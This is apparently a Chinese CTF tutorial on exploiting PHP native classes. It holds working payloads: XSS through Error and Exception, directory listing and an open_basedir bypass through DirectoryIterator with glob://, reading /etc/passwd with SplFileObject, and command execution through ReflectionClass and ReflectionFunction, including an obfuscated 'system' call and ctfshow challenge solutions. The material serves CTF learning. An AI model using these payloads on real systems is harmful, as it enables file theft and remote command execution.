php原生类-1
php内置的类中存在可利用的魔术方法
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
// '__destruct',
'__toString',
// '__wakeup',
// '__sleep',
// '__call',
// '__callStatic',
// '__get',
// '__set',
// '__isset',
// '__unset',
// '__invoke',
// '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}
php原生类的直接利用
ctf.php
<?php
error_reporting(0);
if(isset($_GET['source'])){
highlight_file(__FILE__);
echo "\$flag_filename = 'flag'.md5(???).'php';";
die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
$c = $_POST['c'];
$count[++$c] = 1;
if($count[] = 1) {
$count[++$c] = 1;
print_r($count);
die();
}else{
$a = $_POST['a'];
$b = $_POST['b'];
echo new $a($b);
}
}
?>
$flag_filename = 'flag'.md5(???).'php';
小计trick
if($count[] = 1)
这个if语句为数组赋值,是向数组 $count
追加一个元素 1
,但它本身是一个赋值操作,返回值是赋的值(也就是 1
)。
所以 if($count[] = 1)
相当于 if(1)
,这会让条件永远为真
数组溢出
索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败添加最大索引后继续追加就会引起数组溢出,导致赋值式为false
PHP_INT_MAX
原生类的利用
echo new $a($b);
报错类
Error-__toString方法
在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。
a=Error&b=<script>alert(1);</script>&c=9223372036854775806
Exception-__toString方法
与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。
a=Exception&b=<script>alert(1)</script>&c=9223372036854775806
遍历目录类
DirectoryIterator-__toString方法
DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项
返回了一个点,这个点代表这当前目录
如果要匹配其他文件,要利用glob协议
glob协议支持通配符,所以对于不知道文件名的文件可以利用通配符进行匹配
<?php
$dir = new DirectoryIterator("glob:///*flag*");
echo $dir;
遍历全部文件
<?php
$dir = new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<bar>');
}
DirectoryIterator与glob://协议在一起组合可以绕过open_basedir
FilesystemIterator-__toString方法
使用方式与DirectoryIterator基本相同,这里就不细讲了
GlobIterator-__toString方法
无需加glob协议,因为这是自带的
读取文件类
SplFileObject-__tostring
SplFileObject类为文件提供了一个面向对象接口
支持伪协议
平常读取只能读取一行,要全部读取需要对内容进行遍历
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
命令执行类
ReflectionClass
- 一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用
echo new ReflectionClass('className')
打印类的信息。
//定义一个类
class fuc{
static
function methond(){
echo 'Hello World!';
}
}
//建立fuc类的反射类
$rc = new ReflectionClass('fuc');
//通过反射类实例化fuc类
$fuc = $rc->newInstance();
//执行类方法
$fuc->method();
rce-__construct
<?php
new ReflectionClass(system('whoami'));
?>
读取类信息-__tostring
ctfshow-web101
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
payload
?v1=1&v2=echo new ReflectionClass&v3=;
输出字符串-__tostring
ctfshow-web109
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
分析,就算$v2()
后多一个括号也没有影响
system('whoami')();
payload
?v1=Exception&v2=system('cat fl36dg.txt')
?v1=ReflectionClass&v2=system("ls")
ReflectionFunction
可调用函数
rce-invoke
<?php
$function = new ReflectionFunction('system');
echo $function->invoke("whoami");
?>
有其他姿势
<?php
$function = new ReflectionFunction('call_user_func');
echo $function->invokeArgs(array('s'.'y'.'s'.'tem','whoami'));
//array(%27s%27.%27y%27.%27s%27.%27tem%27,%27cat%20/f%27.%27lag%27)
?>
说些什么吧!